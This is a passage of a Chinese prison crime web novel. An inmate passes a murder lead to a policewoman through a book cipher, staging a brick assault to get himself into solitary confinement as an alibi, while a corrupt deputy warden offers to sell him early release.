靠着林燃这几次帮忙,秦墨已经成了整个安江市局有史以来升的最快的女同志,现在听说又有立功机会.
她简直有些雀跃。
完全忘了眼前这个帮助自己的小子,只是一个年龄相近的囚犯而已。
第九十五章 再次立功
“什么大案子?”
“这个不好说,你先把这个敲头党的案子给解决,到时再说。”
听到林燃这样讲,秦墨欢天喜地的去了。
临走时还激动的和他又抱了两下,看的监视会见的管教都感慨这小子真会哄女朋友。
林燃此时心情却很复杂,关于冰库下面那人的事,他已经大概猜出是笑面佛强拆时留下的罪证,这个线索被赵大金拿去,在一番谈判挤压后,两人肯定会沆瀣一气。
罪证也难以重见天日。
可如果将这个罪证直接告诉秦墨,那赵大金很容易就会联想到自己就是这个向公安告密者。
在监狱告密者是最让人不齿的一类人。
自己面对的所有帮派的猛攻。
怎么才能在不暴漏自己的情况下,把消息递给秦墨,而且还事后不让人怀疑?
林燃困恼起来。
只能希望自己能尽快秦墨在破案后,找到办法。
秦墨那边的动作比林燃预想的还要快。
三天后的傍晚,夜间学习时,大会议室里那台老旧的悬吊电视机正播着本地新闻,画面里闪过一个被押上警车的背影——那人低着头,但颈间那截突出的喉结在镜头前一晃而过,像颗畸形的核桃。
“本台讯,安江市局近日成功侦破系列‘敲头党’恶性案件,抓获犯罪嫌疑人王某。该嫌疑人系外省流窜作案,对犯罪事实供认不讳……”
播音员的声音平直无波,像在念一份工作报告。
但所有囚犯都看的聚精会神。
监狱每晚有一个小时的学习时间,六点半到七点看本地新闻,七点到七点半看央视联播。
这其中本地新闻是这里最受欢迎的节目。
是各个犯人接触社会、了解外面的途径。
林燃坐在后排,看着新闻,脸上没什么表情。
新闻很短,三十秒就切到了下一条市政建设的报道。电视屏幕暗下去,映出监舍里几张模糊的脸。
晚上九点,熄灯哨响过很久之后,走廊里传来脚步声。
不是狱警巡逻那种整齐的皮鞋声,是趿拉着布鞋、拖沓又轻的步子,停在312门口。
小窗被叩响,很轻,三下。
林燃睁开眼,黑暗中能看见门口有个人影的轮廓。他没动,等着。
门外的人也没再敲,只从门缝底下塞进来个东西——一个叠成指甲盖大小的油纸包。
纸包滑进来,停在水泥地上,泛着点微弱的油光。
林燃等脚步声走远,才起身,赤脚走过去捡起来。油纸包里裹着张纸条,铅笔写的,字迹潦草得像鬼画符:
“虎爷说,谢了。欠你一次。最近别乱走。”
没落款。
赵大金这是在还人情,也是在警告——最近监狱里不太平,别掺和。
第二天放风时,林燃就感觉到了那种“不太平”。
笑面佛陈有仁居然没出现在东北角的老位置。平时总围在他身边的几个人也不见了,只剩白癜风独自蹲在那儿,低着头,用树枝在地上划拉。
更怪的是,白癜风偶尔抬起头,眼神扫过放风场,里头没了以前那种阴狠的劲,反倒有点空,像被抽掉了魂。
码头帮那边也安静得出奇。
大眼仔带着几个人聚在西南角,说话声音压得极低,不时往白癜风那边瞥一眼,眼神里不是挑衅,倒像在观察什么。
整个放风场弥漫着一股诡异的平静,像暴风雨前那种闷得人喘不过气的死寂。
林燃心里清楚——赵大金动手了。
“人在右角的冷库”这句话,北佬帮肯定已经查出了眉目,而且捏住了笑面佛的要害。否则以陈有仁那性子,绝不可能这么老实。
问题是,赵大金拿到了想要的东西,接下来会怎么做?
是继续和笑面佛死磕,还是……
林燃正想着,肩膀被人从后面轻轻撞了一下。
是小浙江。
他不知什么时候溜到了林燃身后,脚步轻得像猫,脸上没什么表情,眼神却比平时深。
“虎爷让我带句话。”他声音压得只剩气音,“最近少说话,少走动。有人问起榔头的事,就说不知道。”
“谁问?”林燃没回头。
“谁都别答。”小浙江说完,转身混进了人群,像滴水融进了海里。
回监舍的路上,林燃脑子里那根弦绷得更紧了。
赵大金这是在封锁消息——他不想让“冷库”的秘密再扩散出去。这意味着两件事:第一,秘密的价值比他预想的还大;第二,北佬帮和笑面佛之间,很可能达成了某种默契。
监狱里的规矩就是这样,没有永远的敌人,只有永远的利益。当两边都捏着对方死穴时,最好的选择往往是坐下来谈,而不是拼个你死我活。
可如果这两家联手,或者至少停战,那他林燃呢?
他知道的太多了。
下午两点,管教来通知林燃去接电话。
电话间里那股熟悉的霉味和汗渍味扑面而来。值班狱警还是那个,歪在藤椅里,眼皮都没抬。
林燃拨了秦墨的寻呼台号码。
回电来得很快,秦墨的声音里透着压抑不住的兴奋,隔着听筒都能听出那股劲:“林燃!真的太好了,谢谢你,这次建议太有用了,我一下就找到了问题关键,我们领导还表扬我呢,这……”
她说得又急又快,像憋了很久的气终于吐出来。
两人通话被监听,约好的是尽量用暗语和密码本,可秦墨这下按耐不住激动,换了几个关键词,就忍不住在电话里明语感谢起来。
林燃“嗯”了一声,没接话。
秦墨察觉到他的沉默,兴奋劲降了点,声音低下去:“你……怎么了?是不是里面出什么事了?”
“没事。”林燃说,“恭喜。”
“不只是恭喜,”秦墨顿了顿,语气认真起来,“林燃,这次我能立这个功,全靠你……”
见这姑娘有些得意忘形,林燃感觉咳嗽一声,打断了一下。
第九十六章 挑事
反应过来的秦墨声音压得更低,几乎贴着话筒:“我爸私下说了,这个事弄得漂亮,下个月局里人事调整,我可能会再动一动。”
再动一动。
林燃脑子里闪过秦墨穿着制服、肩章上多一颗星,提前转正,甚至走上领导岗位的的样子。她走得快,这对自己也是好事。
“林燃?”秦墨听他不说话,又叫了一声。
“我在听。”林燃说,“你升你的,不用跟我说。”
“不是,我是想说……”秦墨难得有点结巴,“你帮我这么多,我……我能为你做什么?你之前不是还有个……不方便讲的话,要不要会见?”
林燃握着话筒的手指紧了紧,塑料外壳发出轻微的“嘎吱”声。
告诉秦墨?
现在就说出来,让警方介入,直接发现笑面佛的罪证?
可然后呢?
赵大金会怎么想?北佬帮费这么大劲挖出来的秘密,转头就被警方抄了底,他们会把这笔账算在谁头上?
还有笑面佛,就算进去了,他在外面的关系网还在,狱里这些手下还在。到时候两条路:要么拼死反扑,拉着林燃垫背;要么和赵大金彻底联手,先把知道秘密的人清理干净。
无论哪条,他林燃在监狱里的日子,就算到头了。
“林燃?”秦墨又问了一声,声音里带着疑惑和隐隐的担忧。
“上次说的事,”林燃开口,声音有点哑,“先放放。我这边……需要点时间。”
“时间?”秦墨敏锐地捕捉到什么,“你是不是有危险?”
“别问。”林燃打断她,“最近别联系我。有事我会找你。”
说完,他没等秦墨回应,直接挂了电话。
金属听筒撞在话机上,“哐”的一声闷响。
值班狱警掀了掀眼皮,又耷拉下去,像什么都没听见。
林燃走出电话间,走廊里的冷光灯管嗡嗡作响,光线惨白,把墙壁照得像停尸房的瓷砖。
他需要做一个选择,一个可能关乎生死的选择。
把秘密告诉秦墨,赌警方能一举端掉笑面佛,赌自己能在后续的报复中活下来。
或者,闭嘴,让这个秘密烂在肚子里,眼睁睁看着笑面佛和赵大金达成平衡,然后自己成为那个多余的人——知道太多的人,在监狱里通常活不长。
回312的路上,林燃脑子里反复滚着这两个选项。
直到监舍铁门在身后关上,周晓阳凑过来低声问“燃哥没事吧”时,他忽然想到了第三条路。
一条险路,但或许能同时做到两件事:把线索递出去,又把自己摘干净。
“晓阳,”林燃在头板位置坐下,声音很低,“帮我办件事。”
周晓阳立刻凑近:“燃哥你说。”
“明天放风,找机会跟刀疤说,让他……”林燃顿了顿,改了口,“不,你亲自去。找个没人的时候,跟白癜风搭句话。”
周晓阳脸色白了白:“燃哥,白癜风是笑面佛的人,我……”
“就说一句。”林燃盯着他,“问他,‘佛爷最近怎么没出来晒太阳?是不是病了?’”
周晓阳张了张嘴,想说什么,最后还是咽了回去,重重点头:“成。”
“记住,”林燃补充,“说的时候,声音大点。最好让旁边几个人听见。”
周晓阳愣了愣,随即明白了什么,眼神里闪过惊愕,但很快被一种豁出去的决心盖住:“我懂了,燃哥。”
林燃拍了拍他的肩膀,没再说话。
他知道这步棋很险。主动去招惹笑面佛的人,等于把自己往火坑里推。
但他需要一把火。
一把能把他暂时烧出这个漩涡的火。
---
第二天放风,周晓阳果然照做了。
他挑了个白癜风独自蹲在墙根的机会,磨磨蹭蹭挪过去,声音不大不小,刚好能让旁边几个犯人听见:
“白哥,佛爷最近怎么没出来晒太阳?是不是病了?”
白癜风猛地抬起头,那双总是阴着的眼睛里闪过一丝错愕,随即变成暴怒。他“腾”地站起来,一把揪住周晓阳的领子:“你他妈说什么?”
周晓阳被拎得脚差点离地,脸憋得通红,但咬着牙没求饶,只重复:“我、我就是问问……”
“问?我让你问!”白癜风抡起拳头就要砸。
周围瞬间安静下来。
所有目光都聚过来,有看热闹的,有幸灾乐祸的,也有几个码头帮的人皱起眉头。
就在拳头要落下时,一只手从旁边伸过来,攥住了白癜风的手腕。
是林燃。
他不知什么时候走到了旁边,脸上没什么表情,手上力道却大,白癜风挣了两下没挣开。
“白哥,”林燃开口,声音不高,“小孩不懂事,问句话而已。动手就不合适了吧?”
白癜风瞪着他,眼白里布满血丝:“林燃,你他妈少管闲事!”
“这不是闲事。”林燃松开手,把周晓阳往后推了半步,“他是我的人。你要动他,得先问我。”
空气凝固了。
白癜风胸口剧烈起伏,拳头捏得咯咯响,但最终没再动手。他只是死死盯着林燃,从牙缝里挤出几个字:“行,你护着。咱们走着瞧。”
说完,他狠狠啐了一口,转身走了。
放风结束回监舍的路上,小浙江又悄无声息地凑到林燃身边。
“虎爷让我问你,”他声音压得极低,“今天那出,什么意思?”
“没什么意思。”林燃步子没停,“就是提醒一下某些人,我还在这儿。”
小浙江沉默了几秒,忽然说:“你最好是真的没什么意思。”
语气里带着警告。
林燃没接话。
他知道赵大金在怀疑——怀疑他是不是想借机挑事,或者……准备卖消息。
怀疑就对了。
他要的就是这种怀疑。
---
当天晚上,事情就来了。
熄灯后不到一小时,312的铁门被猛地拉开。
几道手电光柱刺进来,晃得人睁不开眼。三个狱警站在门口,为首的是老严,那张鱼泡脸上挂着明晃晃的冷笑。
“林燃,出来。”
声音在寂静的走廊里炸开,像块石头砸进死水。
监舍里所有人都醒了。
周晓阳从床上弹起来,刀疤辉也坐直了身子,牛哥和麻杆缩在角落,吓得不敢喘气。
林燃慢吞吞地起身,穿上鞋,走到门口。
老严的手电光直接打在他脸上:“有人举报,你私藏违禁物品,还煽动其他犯人闹事。跟我们走一趟。”
“违禁物品?”林燃抬手遮了遮光,“什么物品?”
“搜了就知道。”老严一挥手,身后两个狱警就冲进来,开始翻林燃的床铺。
第九十七章 第三方知情人
被子被抖开,枕头掀到地上,床板缝隙被手电照了个遍。
什么都没找到。
林燃心里清楚,他们本来也找不到什么——那本《刑法学教程》和秦墨的信,他早就藏在了阅览室老赵头那儿,手术刀早就藏在周晓阳那。
但老严显然不打算就这么算了。
“没搜到?”他咧咧嘴,“那就换个地方搜。林燃,手伸出来。”
林燃伸出手。
老严从后腰掏出副手铐,“咔嗒”一声铐上,金属环勒进腕骨,冰凉刺骨。
“带走。”他说。
林燃被推着走出312。走廊里其他监舍的门上都趴着人影,一双双眼睛在黑暗里闪着光,像夜里的狼。
没人说话。
只有脚步声,和手铐链子轻微的碰撞声。
他被带到了那栋独立的二层小楼,还是上次见李昌东的那个房间。
但这次里面坐着的不是李昌东。
是笑面佛。
这枭雄坐在那张皮转椅里,没开台灯,只有窗外透进来的月光,把他半边脸照得发青。
老严把林燃推进去,关上门,自己守在门外。
房间里很静。
笑面佛陈有仁没说话,只是看着林燃,手指在桌面上轻轻敲着,一下,又一下。
过了大概一分钟,他才开口:
“林燃,你很能折腾啊。”
声音不高,但每个字都像浸了冰。
“笑面佛,”林燃站着,手铐在身后,“我不明白您的意思。”
“不明白?”笑面佛笑了,笑声干得像枯叶摩擦,“医疗监区的事,还有今天放风场的事……你真当我什么都不知道?”
林燃没接话。
他知道笑面佛在诈。他要是真什么都清楚,就不会坐在这儿跟他废话了。
“榔头死前,跟你说了什么?”笑面佛忽然问。
直截了当。
林燃心里那根弦猛地绷紧,但脸上没什么变化:“他说他难受,想见医生。”
“还有呢?”
“没了。”
“没了?”笑面佛身体前倾,月光正好照在他眼睛上,那里面有种让人不舒服的审视,“林燃,我提醒你,榔头这人没什么用,只想着给自己女儿留点东西,可能让你们钻了空子,但现在我和赵大金那边也谈好了,这事就这么过去了,你小子有没有想过,你为赵大金卖命弄来的消息,可能反而害了你自己?”
他在试探。
试探林燃知道多少,试探他手里有没有能翻盘的牌。
林燃垂下眼,看着自己脚上那双磨破了边的囚鞋。
“陈有仁,我就是个服刑的犯人。医疗上的事,我不懂。榔头跟我说了什么,我也记不清了。那天他烧得厉害,说话糊里糊涂的。”
“记不清了?”笑面佛重复了一遍,语气里听不出信还是不信,“那赵大金呢?他最近跟你走得很近啊。”
“虎爷找我打听过榔头的事,”林燃答得坦然,“我说我不知道。他就没再问了。”
半真半假。
笑面佛盯着他,手指敲桌子的节奏慢下来。
房间里又陷入沉默。
窗外的月光挪了一寸,照在墙角的蛛网上,细丝泛着惨白的光。
“林燃,”笑面佛终于又开口,声音比刚才更冷,“我不管你知道什么,不知道什么。我只说一句——有些事,沾上了就甩不掉。有些话,说出口就收不回。你想安安稳稳把这十年蹲完,就管好自己的嘴,管好自己的腿。”
他顿了顿,补上最后一句:
“再让我听到你跟不该接触的人接触,说不该说的话……下次你进的就不是谈话室,明白没有。”
林燃抬起头,迎着他的目光:“我明白。”
林燃被押回312监舍时,已经是夜里十一点多。
铁门在身后合拢,锁舌撞进卡槽的声音在寂静中格外清晰。
监舍里没开灯,只有走廊应急灯的光从门上方的小窗漏进来,在地上切出一块惨白的光斑。
周晓阳从床上坐起来,动作很急。
“燃哥……”
“没事。”林燃走到自己铺位坐下,手铐已经摘了,但腕骨上两道深红的勒痕在昏光下很明显。
他搓了搓手腕,皮肤火辣辣地疼。
刀疤辉也醒了,没说话,只是看着他。
牛哥和麻杆也坐了起来。
老大回来,没躺下,这些人都不敢躺下。
林燃躺下,面朝墙壁。
脑子里却在飞速运转。
笑面佛那番话,表面是警告,实则是最后通牒——
他不想再看到林燃有任何动作。而赵大金那边,通过小浙江递来的话也是“少说话,少走动”。
两股势力在碰撞后趋于和缓,达成了某种默契。
而他这个知道秘密的第三方,就成了多余的、危险的存在。
多余的知情人,在监狱里通常活不长。
林燃闭着眼,手指在身下粗糙的床单上慢慢划着。
他得尽快把“冷库尸体”的线索递出去,让秦墨介入,在笑面佛转移证据前,一举钉死他。
但不能让任何人怀疑是自己泄的密。
一旦被怀疑,别说笑面佛,就连刚刚达成协议的赵大金,也会第一个调转枪口灭他的口。
必须制造一个完美的“不在场证明”。
一个他绝对没有机会、也没有条件向外传递消息的证明。
禁闭室。
那地方他待过,巴掌大的黑屋,除了一张硬板床和一个便桶,什么都没有。进出都要搜身,与外界完全隔绝。
如果他在禁闭期间,秦墨那边收到了线索并采取行动……
那么泄密者就绝不可能是他。
问题是怎么进去。
不能太刻意,不能留下把柄,但要确保一定成功。
林燃睁开眼,盯着墙壁上那片渗水留下的黄渍,形状像张扭曲的人脸。
他想起今天放风时,白癜风那双暴怒的眼睛。
想起老严那张挂着冷笑的鱼泡脸。
还有笑面佛最后那句话——“下次你进的就不是谈话室”。
有办法了。
…………
第二天放风,林燃没往人堆里扎。
他独自走到放风区西北角,那儿有排生锈的单杠,平时没什么人用。
他双手抓住横杆,做了几个引体向上,动作不快,但每个都拉到下巴过杠,背肌绷出清晰的线条。
第九十八章 废人
左腿的伤已经好利索了,发力时毫无滞碍。
他一边坐,一边观察着场上局势。
说来好笑,人这种动物,像是永远忘不了争斗的本能。
明明都是囚笼里的犯人,却也要争个三六九等,老大小弟,而且都是拿命去争。
而在这监狱里,操场就是这种争斗最明显的展示地和发生地。
昨天过后,笑面佛和北佬帮已经达成了某种默契的平衡。
笑面佛重新在放风时露面,但地盘明显有缩减,北佬帮的人一来,他们就主动让开位置。
这是服软的迹象。
双方也没有剑拔弩张,甚至几个小弟还凑在一起抽烟,其乐融融。
这幅和平迹象,对林燃却是最危险的。
他不知道笑面佛到底用什么条件来达成了妥协,但他知道,下一步,双方的矛头即将指向自己这唯一一个“第三方知情者”。
果然,做到第十三个时,旁边有人靠了过来。
是白癜风。
他今天没跟笑面佛的人待在一起,独自晃到这儿,手里捏着半截烟,没点,只是捏着。眼神飘忽,时不时往林燃这边瞥。
林燃松手落地,拍了拍手上的铁锈灰。
“白哥。”他叫了一声。
白癜风没应,只是盯着他看,那双眼睛在惨白的日光下显得更浑浊。
白癜风是故意过来试探林燃的态度和情况的,想看他有没有服软,还是硬到底?
“佛爷最近……”但林燃却出乎意料的发起挑衅:“身体还好吧?活得过今年么?”
白癜风瞳孔猛地一缩。
“你他妈什么意思?”他声音压得很低,但每个字都像是从喉咙里挤出来的,带着股狠劲。
“没什么意思。”林燃笑了笑,那笑很淡,没什么温度,“就是关心一下。毕竟佛爷要是倒了,白哥你们的日子……恐怕也不好过。”
这话戳到了白癜风的痛处。
笑面佛最近确实不太对劲。以前放风雷打不动蹲在东北角,身边围着人,现在却经常不见影,生意上也很小心,像是和北佬帮那边出了什么大事,问起来却又说没事了。
底下人心里都犯嘀咕,但又不敢问。
白癜风捏着烟的手指紧了紧,烟纸被捻得皱成一团。
“林燃,”他往前凑了半步,两人距离拉近到能闻到对方身上那股混合着汗臭和霉味的气息,“我警告你,少他妈打听不该打听的事。”
“我只是问问。”林燃迎着他的目光,“白哥这么紧张干什么?”
“我紧张你妈!”白癜风突然暴起,一把揪住林燃的囚服领口。
“你小子是不是觉得有赵大金撑腰,就敢骑到老子头上拉屎?我告诉你!老大和那群北方佬的梁子已经解决了!下一步就是弄死你!”
林燃没反抗,任由他揪着,只是抬了抬眼皮:“松手。”
“我就不松,你能怎么着?”白癜风另一只手已经扬起来,拳头捏得指节发白。
周围有犯人注意到了这边的动静,开始往这儿聚。但没人敢靠太近,都隔着几步远,伸着脖子看。
林燃余光扫过人群,看见笑面佛站在外围,眉头皱着,眼神里带着疑惑和一丝警惕。
时机差不多了。
“白癜风,”林燃声音忽然冷下去,一字一顿,“我让你松手。”
“操!”白癜风拳头抡了下来。
林燃没躲。
那一拳结结实实砸在他左脸颊上,力道很大,牙齿磕到口腔内壁,血腥味瞬间在嘴里漫开。他头偏了偏,嘴角裂了道口子,血丝渗出来。
但他依旧站着,没还手。
只是抬起手,用拇指抹掉嘴角的血,看了一眼,然后抬头看向白癜风。
那眼神很平静,平静得让人发毛。
“打完了?”他问。
白癜风愣了愣,没想到林燃不还手。但众目睽睽之下,这一拳已经抡出去了,收不回来。他只能硬着头皮,又揪紧林燃的领口:“老子今天就他妈教训你……”
话没说完,林燃动了。
他没攻击白癜风,而是猛地向后一挣,囚服领口在白癜风手里“刺啦”一声撕裂。
白癜风吓得往后躲了一下。
怕了?不对。
他没想到林燃看都没看他,而是径直走向放风场边缘的铁丝网——
那里靠着几堆废弃的建筑材料,水泥袋、碎砖头、生锈的钢筋,乱七八糟堆成小山。
隔着铁丝网就能抽到对面管区的建筑材料。
围着看热闹的犯人见到林燃的动作,眼神都变了变。
这是要动家伙啊!
这搞不好是出大事的!
白癜风倒不以为意,反而站在原地,一边叫嚣:“林燃,你有本事就来!敢给我开瓢我就还真把你当做一回事了!”
打架这种事,十有八九都打不成,但斗狠却是必要之事。
在安江这里,再狠的犯人都不敢光天化日之下抄东西开瓢,这铁定要禁闭,甚至还要加刑。
白癜风就是赌林燃绝对不敢真的抄家伙拍自己,现在去拿家伙只是怎装模作样而已。
此时看热闹的又多了起来,还有不少起哄、煽风的。
甚至还有人立马开起来赌局,赌两包方便面林燃不敢真拍过去。
在老天津底层小混混之间,这样的斗狠是家常便饭。
也最为热闹。
一时间,操场热闹起来。
而管教也注意了这边情况,开始聚过来。
白癜风见状更觉得自己胜券在握,林燃这小子鬼精鬼精,肯定会借着管教住手,借坡下驴。
所以他狠话说的更肆无忌惮。
林燃没理他们,弯腰捡起半截砖头。
砖头很沉,棱角粗糙,沾着干涸的泥浆。
他掂了掂,然后转身,朝着不远处白癜风过去。
白癜风眯着眼笑,完全没认为这是危险,反而挑衅的指了指自己的额头。
“哟,有本事你往这里砸。”
林燃走到他面前,停下。
周围的犯人见到了最高潮的时候,都看了过来。
此时管教也凑过来,已经吹起来警笛,示意林燃住手。
白癜风眼角还很得意,他甚至有点佩服林燃的演技:
“可以了,都演的这么逼真了,该借机收手了,难道……啊!”
林燃举起砖头,却没在警笛声中收手,在所有人反应过来之前,狠狠砸了下去!
“砰!”
一声闷响。
第九十九章 行个方便
砖头砸在白癜风肩上,不是要害,但力道够重。白癜风惨叫一声,翻下身去,捂着肩膀在地上打滚。
现场瞬间炸了。
“打人了!打人了!”
惊呼声四起。
几个狱警冲过来,手按在警棍上:“住手!林燃!你干什么!”
林燃扔了砖头,举起双手,脸上没什么表情。
“他打我。”他说,声音很平。
“打你你就打人?”一个狱警冲过来,警棍已经抽了出来,丝毫没注意自己言语间的漏洞。
“他打我出血了!”林燃补了一句,同时抬头,嘴角裂开的口子一清二楚。
狱警愣了下,警棍举在半空。
监狱里打架是常事,但为这种理由动手,倒也不是说不通——尤其在这种地方,“你打我我就打你”是很多人的原则。
地上白癜风还在嚎,肩膀肿起老高,显然骨头没断,但挫伤是跑不了了。
“带走!”狱警吼了一声。
林燃被反扭住胳膊,押着往外走。
经过人群时,他看见了码头帮的大眼仔——那人站在人群外围,眼神平静地盯着他,嘴角却扯出一点似笑非笑的弧度。
也看见了笑面佛——他站在更远的地方,眉头紧锁,像在琢磨什么。
林燃没再看他们。
他被押着穿过操场,穿过那道厚重的铁门,走向监狱深处那排低矮的水泥房子。
禁闭室。
到了地方,狱警打开一扇铁门,把他推了进去。
门在身后“哐当”关上。
世界瞬间陷入黑暗和死寂。
禁闭室很小,不到三平米,没有窗,只有门上一个巴掌大的透气孔,透进来一丝微弱的光。
里面什么都没有,只有冰冷的水泥地和墙壁。
林燃在墙角坐下,背靠着墙,深吸了口气。
霉味、灰尘味,还有一股淡淡的尿骚味——不知是哪个前任留下的。
他需要在这里待七天。
这是规矩,打架斗殴,最少七天禁闭。
七天,足够发生很多事,也足够让很多人相信——他林燃,被关在这里,与世隔绝,什么也做不了。
在动手前,他就做好了准备。
秦墨应该明天就会收到他的“彩票号码”了。
信是他早上刚寄出去的,用的全是暗语暗号,监狱管教当着他面都看不出里面有什么问题。
而那串数字,对应着那本书里的页码、行数和列数,拼出来的只有一句话:
“西城旧仓库,右角冷库,涉命案,速查。”
现在,他能做的都做了。
剩下的,就看秦墨能不能抓住机会,看笑面佛和赵大金会怎么反应,看这潭浑水,最终会淹死谁。
…………
禁闭室里面的日子最难熬。
这种难熬是精神上的。
被困在一个狭小昏暗、一无所有的空房间里,没有光,没有人——黑暗、寂静、时间失去意义,仿佛自己就被世界抛弃了一般。
林燃靠着墙角坐下,水泥地的寒意透过薄薄的囚服裤料,针一样扎进皮肤。
他没动,只是慢慢调整呼吸,让心跳和这死寂融为一体。
第一天最难熬,人会疯了一样想听见声音,哪怕是自己指甲刮墙的响动。
当开门进来时,跟着透进来的光,林燃就看到墙面上很多血糊糊指甲挠印,就是这些人精神崩溃前的征兆。
所以犯人最怕的就是禁闭室,根本不能坚持几天,只要关一天就“听话”了,再跳脱的老大,关一段时间后,出来后都学会遵守纪律,根本不敢再当“刺头”了。
而好在林燃不一样,他前世在苦痛交织的病床上度过了漫长岁月,这对他来说,已经舒服太多了。
他开始盘起双腿,闭上眼睛。
眼观鼻,鼻观心。
隐隐进入冥想状态。
他开始复盘进来这一年的种种,相比前世的凄凉,这一世虽然凶险依旧,但自己已经杀出一片天,下一步……
就这样不知时间的过来许久
突然,铁门上的小窗被拉开。
一丝昏黄的光漏进来,勉强照亮门口一小块地面。
林燃知道是下午,按送餐来算,应该是第二天下午。
然后是钥匙插进锁孔的金属摩擦声,门被推开半扇。
一个人影站在门外。
林燃眯了眯眼,等适应了一下后。
看清了来人。
居然是李昌东。
他站在门外,没穿制服,套了件半旧的藏青色夹克,手里夹着根烟。烟雾在走廊灯光里袅袅上升,混着禁闭室特有的霉味,升腾起一种古怪的浑浊。
“啧,这地方。”他吸了口烟,抬脚跨进来,皮鞋尖在门槛上蹭了蹭,像是嫌脏。
门在他身后虚掩,没关严,留了条缝。外头隐约有狱警走动的脚步声,但很远。
林燃没起身,只是抬起头。
“李监。”他叫了一声,声音在四壁间撞出轻微的回音。
李昌东踱到禁闭室中间,四下扫了一圈——其实没什么可看的,四壁光秃,除了墙角那个散发着尿骚味的便桶,什么都没有。
“听说你出息了,”他转身,烟头在昏暗里一明一灭,“光天化日,抡砖头开人瓢。”
林燃没接话。
“不过嘛,”李昌东话锋一转,语气里带上点笑意,“事我帮你平了。白癜风那边,我让人递了话,他不敢闹。彭振倒是跳得挺高,嚷嚷着要给你加刑,说你这叫‘狱内行凶,情节恶劣’。”
他顿了顿,吸了口烟,吐出来:
“我拦下来了。”
四个字,说得轻飘飘,但分量很足。
林燃知道这“拦下来”背后是什么——钱,看来上次给的壹万壹仟块,让他还是比较满意。
说好的一万,是刘长生那里弄来的三千加上秦墨那借的八千,林燃都给了他,多的一千算是延期的补偿。
“谢李监。”他说。
“谢?”李昌东笑了,笑声在密闭空间里显得格外突兀。
“林燃,咱俩之间,用不着这套虚的。我帮你,是因为你上次那笔生意,做得还算漂亮。”
他往前走了两步,鞋底在地面磨出沙沙的轻响。
“一万一千块,买你从医疗监区出来,值。你这人,脑子活,手段硬,是个能做事的。所以这次,我也给你行个方便——”
第一百章 月黑风高
他蹲下来,烟头的红光几乎贴到林燃脸上。那股劣质烟草的焦臭混着口臭,扑面而来。
“禁闭七天,规矩是规矩。但我可以让你三天,哈,你是不是都不知道今天第几天了?才第二天,意思让你明天一早就可以出去。”
李昌东声音压得很低,每个字都像在算账,“友情价,四千,一天一千,公道吧?出去后,过段时间再给都行。”
林燃看着眼前那点红光。
四千。又是四千。
钱啊钱,不管在哪,都是要命的东西。
而现在,李昌东又递过来一根绳,说能把他从这黑屋子里拽出去。
“李监,”林燃开口,声音有点哑,“我在这儿……挺好的。”
李昌东愣住了。
烟头悬在半空,忘了抽。那点红光停在黑暗里,像只懵住的萤火虫。
“你说什么?”他以为自己听错了。
“我说,”林燃重复了一遍,语速很慢,像在斟酌每个字,“我在这儿待着,挺好。清净。”
李昌东慢慢站起身。
居高临下地看着坐在墙角的林燃,眼神像在看一个疯子。
“林燃,”他声音冷下来。
“你知道这是什么地方吗?禁闭室!七天!一般犯人待三天就得疯!你跟我说挺好?”
“比外面清净。”林燃说。
这话不是假的。
外面有笑面佛阴冷的注视,有赵大金无声的催促,有码头帮的掂量,有无数双眼睛在暗处盯着他,琢磨他脑子里到底装了多少秘密。
而这里,除了黑暗和寂静,什么都没有。
有时候,什么都没有,反而最安全。
李昌东盯着他看了足足半分钟。烟灰积了长长一截,终于承受不住,“啪”地掉在地上,碎成灰色的粉末。
“行,”他最终吐出这个字,声音里那点假惺惺的关切彻底没了,只剩下公事公办的冷硬,“你乐意待,就待着。七天,一天不少。”
说完,他转身就走。
皮鞋踩在地上的声音很重,带着怒气。铁门被“哐”地拉开,又狠狠摔上。锁舌撞进卡槽,发出清脆的金属咬合声。
然后,一切重归死寂。
连那丝从门缝漏进来的光,也随着李昌东的离开消失了。
黑暗重新合拢。
林燃在墙角挪了挪,换了个更舒服的姿势“参禅打坐”。
左脸颊被白癜风打中的地方还在隐隐作痛,张嘴时会裂开细小的刺痛。
但他脑子里异常清醒。
李昌东的反应,在他预料之中。这个副监狱长只认钱,也只相信钱能解决一切。
当有人拒绝他“明码标价”的帮助时,他会困惑,会恼怒,但不会深究——在他那套逻辑里,这世上只有两种人:给钱办事的,和不给钱等死的。
但还好,没让自己加刑这事,他虽然把功劳都算在自己身上,但前世精研法律的林燃清楚,自己故意惹怒白癜风,没有先出手,甚至先见血,这些才更重要。
当然,这姓李的,对自己这个“老主顾”给点面子,帮自己说几句,倒也是情理之中。
但他不会想到,有人会自愿待在禁闭室里,只是为了争取时间,或者……制造一个完美的“不在场证明”。
他呼吸放得又缓又轻,脑子里却在描摹一幅画面——安江市西城区,深夜,废弃建材市场,右角那座冷库。
秦墨应该已经收到“彩票号码”了。
那封信他算准了时间,前天放风前塞进监狱外寄邮件的收集箱,混在一堆家属寄来的破袜子、旧杂志里,管教眼皮底下过了两遍,没看出任何问题。
内容里真正有用的是一串数字,就算被截下来,也只是一串莫名其妙的“幸运号码”。
只有秦墨知道怎么解。
那本1998年版《刑法学教程》,页码,行数,列数,像一把钥匙,能拧开他藏在数字背后的那句话:
“西城旧仓库,右角冷库,涉命案,速查。”
现在,钥匙应该已经插进锁孔了。
外面现在几点了?
禁闭室里没有窗,没有光,连自己的呼吸声都像是从很远的地方传回来的。时间在这里变成了一滩黏稠的、搅不动的胶质,往前爬一寸都得费劲。
但他估摸着,该是深夜了。
正是干脏活儿的好时候。
…………
安江市西城区,建材市场后巷。
晚上十一点二十三分。
这条巷子窄得只容一辆小货车勉强通过,两侧是杂乱的店面后墙,红砖裸露,墙皮剥落得像得了严重的皮肤病。
头顶上横七竖八拉着电线,在夜风里微微摇晃,鬼影般纠缠。
两辆没有警用标识的黑色面包车熄了火,悄无声息地滑进巷子深处,轮胎碾过坑洼的水泥地,只发出极其轻微的“沙沙”声,像蛇腹擦过落叶。
车停在一处堆满废弃未拆老房子的阴影里。
第二辆车的副驾驶门推开,秦墨跳下来。
她今晚穿了身深灰色的运动服,头发在脑后扎成紧实的丸子,脸上没施粉黛,在巷口那盏残破路灯的昏黄光晕下,显得比平时更瘦削,也更利落。
只有眼睛亮得惊人。
“位置确认了?”她压低声音,对着老式对讲机说。
对讲机里传来之前蹲守组同事的回应,带着电流的沙沙声:
“秦队,确认了,目标冷库内有三个人,冷库外巷子口停着一辆银色金杯,车牌遮了,两个人守在车边抽烟。”
三个在里面,两个在外面放风。
虽然被叫秦队,但实际只是个副队长的秦墨眯了眯眼。
林燃给的线索从来没处过错,但这也让她紧张,因为这次太具体了,具体得让人心里发毛——
